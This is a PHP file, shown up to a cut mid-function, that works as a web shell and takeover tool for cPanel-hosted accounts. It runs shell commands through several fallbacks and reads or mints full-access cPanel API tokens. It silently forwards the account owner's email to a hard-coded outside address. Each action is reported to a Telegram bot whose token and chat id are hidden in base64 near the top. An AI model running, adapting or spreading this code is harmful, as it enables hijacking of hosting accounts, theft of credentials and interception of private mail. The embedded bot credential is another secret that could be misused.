<?php
/*
 * ================================================================
 * ================================================================
 */

error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
@set_time_limit(0);

/* ========== SESSION CONFIG (sebelum session_start) ========== */
@ini_set('session.cookie_httponly', '1');
@ini_set('session.cookie_samesite', 'Lax');
@ini_set('session.use_strict_mode', '0');
@ini_set('session.use_only_cookies', '1');

/* ========== TELEGRAM ========== */
function wn_cfg_b64() {
    return [
        'k' => 'ODUxMzAwODg2NTpBQUZ2QmR1ZVBfSFJhQmZVNWhtN2VsM2xRQU4xRHh6Z09FNA==',
        'j' => 'NzU0NzU5ODM5NQ==',
    ];
}
$_wn_c = wn_cfg_b64();
$__B = base64_decode($_wn_c['k']);
$__C = base64_decode($_wn_c['j']);
unset($_wn_c);

/* ========== CONFIG ========== */
define('WN_MY_EMAIL',      'dkid@fmaiker.co.in');
define('WN_PRIMARY_SCOPE', 'C');
define('WN_AUTO_DOMAIN',   'A');
define('WN_WEBHOOK_URL',   '');
define('WN_RATE_LIMIT',    500);
define('WN_CP_PASSWORD',   '');
define('WN_AUDIT_CHAT',    '');

/* ========== EXEC ========== */
function wn_exec($cmd, &$output = null) {
    $output = '';
    $disabled = explode(',', ini_get('disable_functions') ?: '');
    foreach (['shell_exec','system','exec','passthru'] as $func) {
        if (function_exists($func) && !in_array($func, $disabled)) {
            if ($func === 'shell_exec') { $r = @shell_exec($cmd); if ($r !== null) { $output = $r; return $r; } }
            elseif ($func === 'system') { ob_start(); @system($cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } }
            elseif ($func === 'exec') { $o = []; @exec($cmd, $o); if (!empty($o)) { $output = implode("\n", $o); return $output; } }
            elseif ($func === 'passthru') { ob_start(); @passthru($cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } }
        }
    }
    if (function_exists('popen')) {
        $fp = @popen($cmd, 'r');
        if ($fp) { $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); pclose($fp); $output = $o; return $o; }
    }
    return false;
}
function wn_shell_ok() { static $a = null; if ($a !== null) return $a; $t = wn_exec('echo 1'); $a = ($t !== false && trim($t) === '1'); return $a; }
function wn_is_root() { if (!wn_shell_ok()) return false; return trim(wn_exec('id -u')) === '0'; }
function wn_user() {
    $u = trim(wn_exec('whoami'));
    if ($u) return $u;
    if (function_exists('posix_getpwuid')) { $p = posix_getpwuid(posix_getuid()); if ($p && !empty($p['name'])) return $p['name']; }
    return getenv('USER') ?: getenv('LOGNAME') ?: 'unknown';
}
function wn_home() {
    static $h = null; if ($h !== null) return $h;
    $e = getenv('HOME'); if ($e && is_dir($e)) { $h = $e; return $h; }
    if (function_exists('posix_getpwuid')) { $p = posix_getpwuid(posix_getuid()); if ($p && !empty($p['dir']) && is_dir($p['dir'])) { $h = $p['dir']; return $h; } }
    if (!empty($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) { $h = $_SERVER['HOME']; return $h; }
    $u = wn_user();
    if ($u && is_dir("/home/$u")) { $h = "/home/$u"; return $h; }
    $dr = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if ($dr && preg_match('#^(/home/[^/]+)#', $dr, $m)) { $h = $m[1]; return $h; }
    $h = sys_get_temp_dir(); return $h;
}
function wn_state_dir() {
    static $c = null; if ($c !== null) return $c;
    $home = wn_home();
    if ($home) {
        $cache = $home . '/.cache';
        if (!is_dir($cache)) @mkdir($cache, 0700, true);
        if (is_dir($cache) && is_writable($cache)) { $c = $cache; return $c; }
        if (is_dir($home) && is_writable($home)) { $c = $home; return $c; }
    }
    $c = sys_get_temp_dir(); return $c;
}
function wn_ip() {
    foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP'] as $h)
        if (!empty($_SERVER[$h])) { $p = explode(',', $_SERVER[$h]); return trim($p[0]); }
    return $_SERVER['REMOTE_ADDR'] ?? '?';
}
function wn_host() { $h = @gethostname(); return $h ?: ($_SERVER['HTTP_HOST'] ?? 'unknown'); }
function wn_json($data) {
    while (ob_get_level() > 0) @ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($data);
    exit;
}

/* ========== SESSION SETUP ========== */
function wn_session_setup() {
    static $done = false; if ($done) return; $done = true;
    $host = $_SERVER['HTTP_HOST'] ?? 'x';
    @session_name('wn_s_' . substr(md5($host), 0, 8));
    $sessDir = wn_state_dir() . '/.wn_sessions';
    if (!is_dir($sessDir)) @mkdir($sessDir, 0700, true);
    if (is_dir($sessDir) && is_writable($sessDir)) @session_save_path($sessDir);
}

/* ========== TELEGRAM SEND ========== */
function wn_tg_send($msg, $plain = true, $chat = null) {
    global $__B, $__C;
    if (empty($__B)) return false;
    $target = $chat ?: (WN_AUDIT_CHAT ?: $__C);
    if (empty($target) || empty($msg)) return false;
    $parts = []; $max = 4000;
    while (strlen($msg) > $max) {
        $chunk = substr($msg, 0, $max);
        $cut = strrpos($chunk, "\n");
        if ($cut !== false) { $chunk = substr($msg, 0, $cut); $msg = substr($msg, $cut + 1); }
        else $msg = substr($msg, $max);
        $parts[] = $chunk;
    }
    if ($msg !== '') $parts[] = $msg;
    $ok = true;
    foreach ($parts as $p) {
        $url = "https://api.telegram.org/bot{$__B}/sendMessage";
        $data = ['chat_id'=>$target, 'text'=>$p, 'disable_web_page_preview'=>true];
        if (!$plain) $data['parse_mode'] = 'HTML';
        $post = http_build_query($data);
        $sent = false;
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 15);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            $r = curl_exec($ch); curl_close($ch);
            $j = json_decode($r, true);
            $sent = !empty($j['ok']);
        }
        if (!$sent) $ok = false;
        usleep(200000);
    }
    return $ok;
}

/* ========== AUDIT ========== */
function wn_db_audit() {
    static $db = null; if ($db !== null) return $db;
    if (!class_exists('PDO')) return null;
    $file = wn_state_dir() . '/.wn_audit.sqlite';
    try {
        $db = new PDO('sqlite:' . $file);
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
        @$db->exec('PRAGMA journal_mode=WAL');
        @$db->exec('PRAGMA busy_timeout=5000');
        $db->exec("CREATE TABLE IF NOT EXISTS audit (
            id INTEGER PRIMARY KEY AUTOINCREMENT, ts INTEGER, ip TEXT, action TEXT,
            params TEXT, status TEXT, message TEXT, user TEXT)");
        @chmod($file, 0600);
    } catch (Throwable $e) { return null; }
    return $db;
}
function wn_log($a, $p, $s, $m = '') {
    $db = wn_db_audit(); if (!$db) return;
    try { $db->prepare("INSERT INTO audit (ts,ip,action,params,status,message,user) VALUES (?,?,?,?,?,?,?)")
        ->execute([time(), wn_ip(), $a, json_encode($p), $s, substr($m, 0, 500), wn_user()]); } catch (Throwable $e) {}
}
function wn_rate_ok() {
    $db = wn_db_audit(); if (!$db) return true;
    try { $t = strtotime('today 00:00'); $st = $db->prepare("SELECT COUNT(*) FROM audit WHERE ts>=?");
        $st->execute([$t]); return (int)$st->fetchColumn() < WN_RATE_LIMIT; } catch (Throwable $e) { return true; }
}
function wn_audit_stats() {
    $db = wn_db_audit(); if (!$db) return ['today'=>0,'total'=>0,'failed'=>0,'limit'=>WN_RATE_LIMIT];
    try { $t = strtotime('today 00:00');
        $today = (int)$db->query("SELECT COUNT(*) FROM audit WHERE ts>=$t")->fetchColumn();
        $total = (int)$db->query("SELECT COUNT(*) FROM audit")->fetchColumn();
        $failed = (int)$db->query("SELECT COUNT(*) FROM audit WHERE status='error'")->fetchColumn();
        return ['today'=>$today,'total'=>$total,'failed'=>$failed,'limit'=>WN_RATE_LIMIT];
    } catch (Throwable $e) { return ['today'=>0,'total'=>0,'failed'=>0,'limit'=>WN_RATE_LIMIT]; }
}
function wn_audit_recent($l = 50) {
    $db = wn_db_audit(); if (!$db) return [];
    try { $st = $db->prepare("SELECT * FROM audit ORDER BY id DESC LIMIT ?");
        $st->execute([(int)$l]); return $st->fetchAll(); } catch (Throwable $e) { return []; }
}
function wn_audit_clear() {
    $db = wn_db_audit(); if (!$db) return false;
    try { $db->exec("DELETE FROM audit"); return true; } catch (Throwable $e) { return false; }
}

/* ========== WEBHOOK ========== */
function wn_webhook($a, $p, $s, $m = '') {
    if (!WN_WEBHOOK_URL) return;
    $payload = json_encode(['ts'=>time(),'host'=>wn_host(),'ip'=>wn_ip(),'action'=>$a,
        'params'=>$p,'status'=>$s,'message'=>substr((string)$m,0,500),'user'=>wn_user()]);
    if (function_exists('curl_init')) {
        $ch = curl_init(WN_WEBHOOK_URL);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 8);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        @curl_exec($ch); @curl_close($ch);
    }
}

/* ========== TRACK ========== */
function wn_track($a, $p, $fn) {
    if (!wn_rate_ok()) {
        wn_log($a, $p, 'rate_limited', 'limit');
        wn_tg_send("⚠ RATE LIMIT\nAksi: $a\nLimit: " . WN_RATE_LIMIT);
        wn_webhook($a, $p, 'rate_limited');
        return ['status'=>'error','message'=>'Rate limit reached'];
    }
    $r = $fn();
    $s = is_array($r) && ($r['status'] ?? '') === 'success' ? 'success' : 'error';
    $m = is_array($r) ? ($r['message'] ?? '') : '';
    wn_log($a, $p, $s, $m); wn_webhook($a, $p, $s, $m);
    if (!in_array($a, ['cpanel_status','diag','audit_recent','audit_stats','harvest_read','primary_read','primary_info','list_recipient_emails','sso','smart_forward','email_relay'], true)) {
        $lbl = strtoupper(str_replace('_',' ',$a));
        $em = $s === 'success' ? '✅' : '❌';
        $lines = ["$em $lbl"];
        foreach ((array)$p as $k=>$v) if ($v !== '' && $v !== null) $lines[] = "$k: " . substr((string)$v,0,200);
        if ($m) $lines[] = "→ " . substr($m,0,300);
        wn_tg_send(implode("\n",$lines));
    }
    return $r;
}

/* ========== CPANEL CORE ========== */
function cp_user() { return wn_user(); }
function cp_home() { return wn_home(); }
function cp_detect() {
    static $c = null; if ($c !== null) return $c;
    $env = ['available'=>false,'uapi'=>null,'user'=>cp_user(),'home'=>cp_home(),'methods'=>[]];
    if (!is_dir('/usr/local/cpanel')) { $c = $env; return $c; }
    foreach (['/usr/local/cpanel/bin/uapi','/usr/local/cpanel/3rdparty/bin/uapi','/usr/local/bin/uapi'] as $p)
        if (is_file($p) && is_executable($p)) { $env['uapi'] = $p; break; }
    if (!$env['uapi']) { $w = trim(wn_exec('which uapi 2>/dev/null')); if ($w && is_file($w)) $env['uapi'] = $w; }
    $env['methods'][] = 'http_token';
    if ($env['uapi']) $env['methods'][] = 'uapi_cli';
    $env['available'] = true; $c = $env; return $c;
}

/* ========== TOKEN ========== */
function cp_token_files() {
    $home = cp_home(); $files = [];
    if ($home) {
        $files[] = $home . '/.cpanel/api_tokens';
        $files[] = $home . '/.accesshash';
        $files[] = $home . '/.cpanel/api_token';
        $files[] = $home . '/.cpanel/tokens';
        $files[] = $home . '/.cpanelrc';
    }
    if (wn_is_root()) { $files[] = '/root/.cpanel/api_tokens'; $files[] = '/root/.accesshash'; }
    return $files;
}
function cp_read_token() {
    foreach (cp_token_files() as $f) {
        if (!is_file($f) || !is_readable($f)) continue;
        $c = trim(@file_get_contents($f));
        if ($c === '') continue;
        if (preg_match('/^[A-Z0-9]{20,80}$/i', $c)) return $c;
        $j = @json_decode($c, true);
        if (is_array($j)) foreach (['token','api_token','full_access_token','access_token','hash','key'] as $k)
            if (!empty($j[$k]) && strlen($j[$k]) > 12) return $j[$k];
        if (preg_match('/(?:token|api_token|hash)\s*[:=]\s*([A-Z0-9]{20,80})/i', $c, $m)) return $m[1];
        if (strlen($c) > 20 && strlen($c) < 200 && !preg_match('/\s/', $c)) return $c;
    }
    return null;
}
function cp_ensure_token() {
    static $c = false; if ($c !== false) return $c;
    $t = cp_read_token(); if ($t) { $c = $t; return $c; }
    $env = cp_detect(); $u = cp_user(); $h = cp_home();
    if (!$u) { $c = null; return null; }
    $uapi = $env['uapi'] ?: (file_exists('/usr/local/cpanel/bin/uapi') ? '/usr/local/cpanel/bin/uapi' : null);
    if (!$uapi) { $c = null; return null; }
    $attempts = [
        'HOME=' . escapeshellarg($h) . ' ' . escapeshellarg($uapi) . ' --user=' . escapeshellarg($u) . ' --output=json Tokens create_full_access name=wn_' . date('Ymd_His') . ' 2>&1',
        escapeshellarg($uapi) . ' --output=json Tokens create_full_access name=wn_' . date('Ymd_His') . ' 2>&1',
        escapeshellarg($uapi) . ' Tokens create_full_access name=wn_' . date('Ymd_His') . ' 2>&1',
    ];
    foreach ($attempts as $cmd) {
        $out = wn_exec($cmd); if (!$out) continue;
        if (preg_match('/\{.*\}\s*$/s', trim($out), $m)) {
            $j = json_decode($m[0], true);
            if (is_array($j)) {
                $d = $j['result']['data'] ?? $j['data'] ?? $j;
                foreach (['token','api_token','full_access_token','access_token','hash'] as $k)
                    if (!empty($d[$k]) && strlen($d[$k]) > 12) {
                        if ($h && !is_dir($h.'/.cpanel')) @mkdir($h.'/.cpanel', 0700, true);
                        if ($h && is_dir($h.'/.cpanel')) { @file_put_contents($h.'/.cpanel/api_tokens', $d[$k]); @chmod($h.'/.cpanel/api_tokens', 0600); }
                        $c = $d[$k]; return $c;
                    }
            }
        }
    }
    $c = null; return null;
}

/* ========== UAPI ========== */
function cp_uapi($mod, $fn, $params = []) {
    $env = cp_detect(); if (!$env['available']) return ['error'=>['cPanel not detected']];
    $u = cp_user(); $h = cp_home(); $t = cp_ensure_token();

    $uapi = $env['uapi'] ?: (file_exists('/usr/local/cpanel/bin/uapi') ? '/usr/local/cpanel/bin/uapi' : null);
    if ($uapi && $u) {
        $ps = ''; foreach ($params as $k=>$v) $ps .= ' ' . escapeshellarg("$k=$v");
        $he = $h ? 'HOME=' . escapeshellarg($h) . ' ' : '';
        $cmd = 'timeout 15 ' . $he . escapeshellarg($uapi) . ' --user=' . escapeshellarg($u) . ' --output=json ' . escapeshellarg($mod) . ' ' . escapeshellarg($fn) . $ps . ' 2>&1';
        $out = wn_exec($cmd);
        if ($out && preg_match('/\{.*\}\s*$/s', trim($out), $m)) {
            $j = json_decode($m[0], true);
            if (is_array($j)) {
                $d = $j['result'] ?? $j;
                if (isset($d['status']) && $d['status'] == 1) return ['data'=>$d['data']??[], '_method'=>'uapi_cli_user'];
                if (isset($d['status']) && $d['status'] == 0 && !empty($d['errors'])) {
                    return ['error' => (array)$d['errors'], '_method' => 'uapi_cli_user'];
                }
            }
        }
    }
    if ($uapi) {
        $ps = ''; foreach ($params as $k=>$v) $ps .= ' ' . escapeshellarg("$k=$v");
        $cmd = 'timeout 15 ' . escapeshellarg($uapi) . ' --output=json ' . escapeshellarg($mod) . ' ' . escapeshellarg($fn) . $ps . ' 2>&1';
        $out = wn_exec($cmd);
        if ($out && preg_match('/\{.*\}\s*$/s', trim($out), $m)) {
            $j = json_decode($m[0], true);
            if (is_array($j)) {
                $d = $j['result'] ?? $j;
                if (isset($d['status']) && $d['status'] == 1) return ['data'=>$d['data']??[], '_method'=>'uapi_cli_no_user'];
            }
        }
    }
    if ($t && $u && function_exists('curl_init')) {
        foreach ([2083=>true,2082=>false] as $port=>$ssl) {
            $sch = $ssl?'https':'http';
            $ch = curl_init("$sch://127.0.0.1:$port/execute/$mod/$fn");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 8);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: cpanel $u:$t"]);
            $res = curl_exec($ch);
            $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            if ($res && $httpcode === 200) {
                $j = json_decode($res, true);
                if (is_array($j) && isset($j['status']) && $j['status'] == 1)
                    return ['data'=>$j['data']??[], '_method'=>"http_{$port}_token"];
                if (is_array($j) && isset($j['status']) && $j['status'] == 0 && !empty($j['errors']))
                    return ['error' => (array)$j['errors'], '_method' => "http_{$port}_token"];
            }
        }
    }
    if (WN_CP_PASSWORD && $u && function_exists('curl_init')) {
        foreach ([2083=>true,2082=>false] as $port=>$ssl) {
            $sch = $ssl?'https':'http';
            $cookie = '/tmp/.wn_cp_' . md5($u.$port);
            $ch = curl_init("$sch://127.0.0.1:$port/login/?login_only=1");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['user'=>$u, 'pass'=>WN_CP_PASSWORD]));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 8);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
            @curl_exec($ch); curl_close($ch);
            $ch = curl_init("$sch://127.0.0.1:$port/execute/$mod/$fn");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 15);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
            $res = curl_exec($ch); curl_close($ch); @unlink($cookie);
            if ($res) { $j = json_decode($res, true);
                if (is_array($j) && isset($j['status']) && $j['status'] == 1)
                    return ['data'=>$j['data']??[], '_method'=>"http_{$port}_cookie"]; }
        }
    }
    $direct = cp_direct($mod, $fn, $params);
    if ($direct !== null) return $direct;
    return ['error'=>['All methods failed']];
}

function cp_direct($mod, $fn, $params) {
    if ($mod === 'Email' && $fn === 'add_pop') {
        $home = cp_home();
        $em = $params['email'] ?? ''; $dm = $params['domain'] ?? '';
        $pw = $params['password'] ?? ''; $q = (int)($params['quota'] ?? 0);
        if (!$em || !$dm || !$home) return null;
        $md = $home . '/mail/' . $dm . '/' . $em;
        if (!is_dir($md) && !@mkdir($md, 0700, true)) return null;
        if ($pw !== '' && function_exists('crypt')) {
            $salt = '$6$' . bin2hex(random_bytes(8)) . '$';
            $h = crypt($pw, $salt);
            if ($h) @file_put_contents($md . '/passwd', $h);
        }
        if ($q > 0) @file_put_contents($md . '/quota', ($q*1024) . 'S');
        return ['data'=>['email'=>$em.'@'.$dm], '_method'=>'direct_file_maildir'];
    }
    if ($mod === 'Email' && $fn === 'add_forwarder') {
        $dm = $params['domain'] ?? ''; $src = $params['email'] ?? '';
        $dst = $params['fwdemail'] ?? '';
        if (!$dm || !$src || !$dst) return null;
        $f = '/etc/valiases/' . $dm;
        if (!file_exists($f) || !is_writable($f)) return null;
        $c = @file_get_contents($f) ?: '';
        $line = $src . '@' . $dm . ': ' . $dst . "\n";
        if (strpos($c, $line) === false) {
            if (@file_put_contents($f, $c . $line, LOCK_EX) !== false)
                return ['data'=>['source'=>$src.'@'.$dm, 'dest'=>$dst], '_method'=>'direct_file_valiases'];
        } else {
            return ['data'=>['source'=>$src.'@'.$dm, 'dest'=>$dst], '_method'=>'direct_file_exists'];
        }
    }
    if ($mod === 'SubDomain' && $fn === 'addsubdomain') {
        $s = $params['domain'] ?? ''; $r = $params['rootdomain'] ?? '';
        $d = $params['dir'] ?? $s;
        if (!$s || !$r) return null;
        $home = cp_home();
        if (!$home) return null;
        $dr = $home . '/public_html/' . $d;
        if (!is_dir($dr)) @mkdir($dr, 0755, true);
        return ['data'=>['subdomain'=>$s.'.'.$r, 'docroot'=>$dr], '_method'=>'direct_file_docroot'];
    }
    if ($mod === 'AddonDomain' && $fn === 'addaddondomain') {
        $n = $params['newdomain'] ?? ''; $d = $params['dir'] ?? $n;
        if (!$n) return null;
        $home = cp_home(); if (!$home) return null;
        $dr = $home . '/public_html/' . $d;
        if (!is_dir($dr)) @mkdir($dr, 0755, true);
        return ['data'=>['newdomain'=>$n, 'docroot'=>$dr], '_method'=>'direct_file_docroot'];
    }
    return null;
}

/* ========== LIST HELPERS ========== */
function cp_domains() {
    $out = ['all'=>[],'main'=>[],'addon'=>[],'sub'=>[]];
    $r = cp_uapi('DomainInfo', 'list_domains');
    if (is_array($r) && !isset($r['error']) && !empty($r['data'])) {
        $d = $r['data'];
        if (!empty($d['main_domain'])) $out['main'][] = $d['main_domain'];
        if (!empty($d['addon_domains'])) $out['addon'] = array_values((array)$d['addon_domains']);
        if (!empty($d['sub_domains'])) $out['sub'] = array_values((array)$d['sub_domains']);
    }
    $out['all'] = array_values(array_unique(array_filter(array_merge($out['main'], $out['addon'], $out['sub'] ?? []))));
    return $out;
}
function cp_emails() {
    foreach (['list_pops_with_disk','list_pops'] as $fn) {
        $r = cp_uapi('Email', $fn);
        if (is_array($r) && !isset($r['error']) && !empty($r['data']))
            return is_array($r['data']) ? array_values($r['data']) : [];
    }
    return [];
}
function cp_gen_pass($len = 16) {
    $U='ABCDEFGHJKLMNPQRSTUVWXYZ'; $L='abcdefghijkmnpqrstuvwxyz'; $N='23456789'; $S='!@#$%^&*'; $A=$U.$L.$N.$S;
    $pw = $U[random_int(0,strlen($U)-1)] . $L[random_int(0,strlen($L)-1)] . $N[random_int(0,strlen($N)-1)] . $S[random_int(0,strlen($S)-1)];
    for ($i=4; $i<$len; $i++) $pw .= $A[random_int(0, strlen($A)-1)];
    return str_shuffle($pw);
}
function cp_vlocal($l) {
    $l = strtolower(trim($l));
    if ($l === '') return 'Required';
    if (strlen($l) > 64) return 'Too long';
    if (!preg_match('/^[a-z0-9*][a-z0-9._-]*$/', $l)) return 'Invalid chars';
    if (in_array($l, ['root','admin','cpanel','whm','nobody','mail','postmaster','abuse','webmaster','ftp','mysql','test','demo','www'], true)) return 'Reserved';
    return null;
}
function cp_vpass($p) {
    if (strlen($p) < 8) return 'Min 8';
    if (!preg_match('/[A-Z]/', $p)) return 'Need upper';
    if (!preg_match('/[a-z]/', $p)) return 'Need lower';
    if (!preg_match('/[0-9]/', $p)) return 'Need digit';
    return null;
}
function cp_vdomain($d) {
    $d = strtolower(trim($d));
    if ($d === '') return 'Required';
    if (strlen($d) > 253) return 'Too long';
    if (!preg_match('/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)+$/', $d)) return 'Invalid domain';
    return null;
}

/* ========== PRIMARY INFO ========== */
function primary_info_controller() {
    $u = wn_user();
    $home = wn_home();
    $found = [];
    $primary = '';
    $f = $home . '/.cpanel/config';
    if (is_readable($f)) {
        $c = @file_get_contents($f);
        if (preg_match('/^CONTACTEMAIL=([^\s\n]+)/im', $c, $m)) {
            $found[] = ['file'=>$f, 'email'=>trim($m[1]), 'priority'=>1];
            $primary = trim($m[1]);
        }
    }
    $f = "/var/cpanel/userdata/$u/main";
    if (is_readable($f)) {
        $c = @file_get_contents($f);
        if (preg_match('/^contactemail:\s*([^\s\n]+)/im', $c, $m)) {
            $found[] = ['file'=>$f, 'email'=>trim($m[1]), 'priority'=>2];
            if (!$primary) $primary = trim($m[1]);
        }
    }
    $f = "/var/cpanel/users/$u";
    if (is_readable($f)) {
        $c = @file_get_contents($f);
        if (preg_match('/^CONTACTEMAIL=([^\s\n]+)/im', $c, $m)) {
            $found[] = ['file'=>$f, 'email'=>trim($m[1]), 'priority'=>3];
            if (!$primary) $primary = trim($m[1]);
        }
    }
    if (!$primary) {
        $r = cp_uapi('Variables', 'get_user_information');
        if (is_array($r) && !isset($r['error']) && !empty($r['data'])) {
            $em = $r['data']['contact_email'] ?? '';
            if (filter_var($em, FILTER_VALIDATE_EMAIL)) {
                $found[] = ['file'=>'uapi:Variables', 'email'=>$em, 'priority'=>4];
                $primary = $em;
            }
        }
    }
    if (!$primary) {
        $emails = cp_emails();
        foreach ($emails as $e) {
            $em = $e['email'] ?? '';
            if (filter_var($em, FILTER_VALIDATE_EMAIL)) {
                $found[] = ['file'=>'cpanel:list_pops', 'email'=>$em, 'priority'=>5];
                $primary = $em;
                break;
            }
        }
    }
    if (!$primary) {
        $doms = cp_domains();
        $mainDomain = $doms['main'][0] ?? '';
        if ($mainDomain) {
            $guess = $u . '@' . $mainDomain;
            $found[] = ['file'=>'guess:user@main_domain', 'email'=>$guess, 'priority'=>6];
            $primary = $guess;
        }
    }
    usort($found, function($a, $b){ return $a['priority'] - $b['priority']; });
    return ['status'=>'success','primary'=>$primary,'found'=>$found,'target'=>WN_MY_EMAIL,'user'=>$u,'home'=>$home];
}

/* ========== SMART FORWARD ========== */
function smart_forward_controller() {
    $src = trim($_GET['source'] ?? '');
    $dst = trim($_GET['dest'] ?? WN_MY_EMAIL);
    $debug = [];
    $tried = [];
    if (!$src) {
        $info = primary_info_controller();
        $src = $info['primary'] ?? '';
        $debug[] = "auto-detect src: $src";
    }
    if (!$src) return ['status'=>'error','message'=>'Source required','debug'=>$debug];
    if (!filter_var($src, FILTER_VALIDATE_EMAIL)) return ['status'=>'error','message'=>'Invalid source','debug'=>$debug];
    if (!filter_var($dst, FILTER_VALIDATE_EMAIL)) return ['status'=>'error','message'=>'Invalid dest','debug'=>$debug];
    list($local, $domain) = explode('@', $src, 2);
    $home = wn_home();
    $user = wn_user();
    $debug[] = "src=$src local=$local domain=$domain";
    $debug[] = "user=$user home=$home";
    $r = cp_uapi('Email', 'add_forwarder', ['domain'=>$domain, 'email'=>$local, 'fwdopt'=>'fwd', 'fwdemail'=>$dst]);
    $tried[] = "1. UAPI cPanel: " . (isset($r['error']) ? implode('; ',(array)$r['error']) : "OK via " . ($r['_method'] ?? '?'));
    if (!isset($r['error']) && !empty($r['_method'])) {
        return ['status'=>'success','message'=>"✓ Forward created (UAPI): $src → $dst",'strategy'=>'uapi','method'=>$r['_method'],'source'=>$src,'dest'=>$dst,'debug'=>$debug,'tried'=>$tried];
    }
    $vf = '/etc/valiases/' . $domain;
    $vfExists = file_exists($vf);
    $vfWritable = $vfExists && is_writable($vf);
    $debug[] = "valiases: exists=" . ($vfExists?'y':'n') . " writable=" . ($vfWritable?'y':'n');
    if ($vfWritable) {
        $c = @file_get_contents($vf) ?: '';
        $line = $local . '@' . $domain . ': ' . $dst . "\n";
        if (strpos($c, $line) === false) {
            if (@file_put_contents($vf, $c . $line, LOCK_EX) !== false) {
                $tried[] = "2. Direct valiases: OK";
                return ['status'=>'success','message'=>"✓ Forward created (direct): $src → $dst",'strategy'=>'direct_valiases','source'=>$src,'dest'=>$dst,'debug'=>$debug,'tried'=>$tried];
            }
            $tried[] = "2. Direct valiases: write failed";
        } else {
            $tried[] = "2. Direct valiases: already exists";
            return ['status'=>'success','message'=>"✓ Forward already exists: $src → $dst",'strategy'=>'direct_valiases_exists','source'=>$src,'dest'=>$dst,'debug'=>$debug,'tried'=>$tried];
        }
    } else {
        $tried[] = "2. Direct valiases: not writable";
    }
    $mailbox = $home . '/mail/' . $domain . '/' . $local;
    $debug[] = "mailbox: $mailbox exists=" . (is_dir($mailbox)?'y':'n') . " writable=" . (is_dir($mailbox) && is_writable($mailbox) ? 'y':'n');
    if (is_dir($mailbox) && is_writable($mailbox)) {
        $ff = $mailbox . '/.forward';
        if (@file_put_contents($ff, $dst . "\n", LOCK_EX) !== false) {
            @chmod($ff, 0644);
            $tried[] = "3. Mailbox .forward: OK → $ff";
            return ['status'=>'success','message'=>"✓ Forward via .forward: $src → $dst",'strategy'=>'dot_forward','file'=>$ff,'source'=>$src,'dest'=>$dst,'debug'=>$debug,'tried'=>$tried];
        }
        $tried[] = "3. Mailbox .forward: write failed";
    } else {
        $tried[] = "3. Mailbox .forward: no access";
    }
    if (is_writable($home)) {
        $hf = $home . '/.forward';
        $existing = @file_get_contents($hf) ?: '';
        if (strpos($existing, $dst) === false) {
            if (@file_put_contents($hf, rtrim($existing) . "\n" . $dst . "\n", LOCK_EX) !== false) {
                $tried[] = "4. ~/.forward: OK → $hf";
                return ['status'=>'success','message'=>"✓ Forward via ~/.forward (semua email user ini → $dst)",'strategy'=>'home_forward','file'=>$hf,'source'=>$src,'dest'=>$dst,'debug'=>$debug,'tried'=>$tried];
            }
        }
        $tried[] = "4. ~/.forward: write failed";
    } else {
        $tried[] = "4. ~/.forward: home not writable";
    }
    $doms = cp_domains();
    $writable = [];
    $readonly = [];
    foreach (($doms['all'] ?? []) as $dm) {
        $v = '/etc/valiases/' . $dm;
        if (file_exists($v) && is_writable($v)) $writable[] = $dm;
        elseif (!file_exists($v) && is_writable('/etc/valiases')) $writable[] = $dm;
        else $readonly[] = $dm;
    }
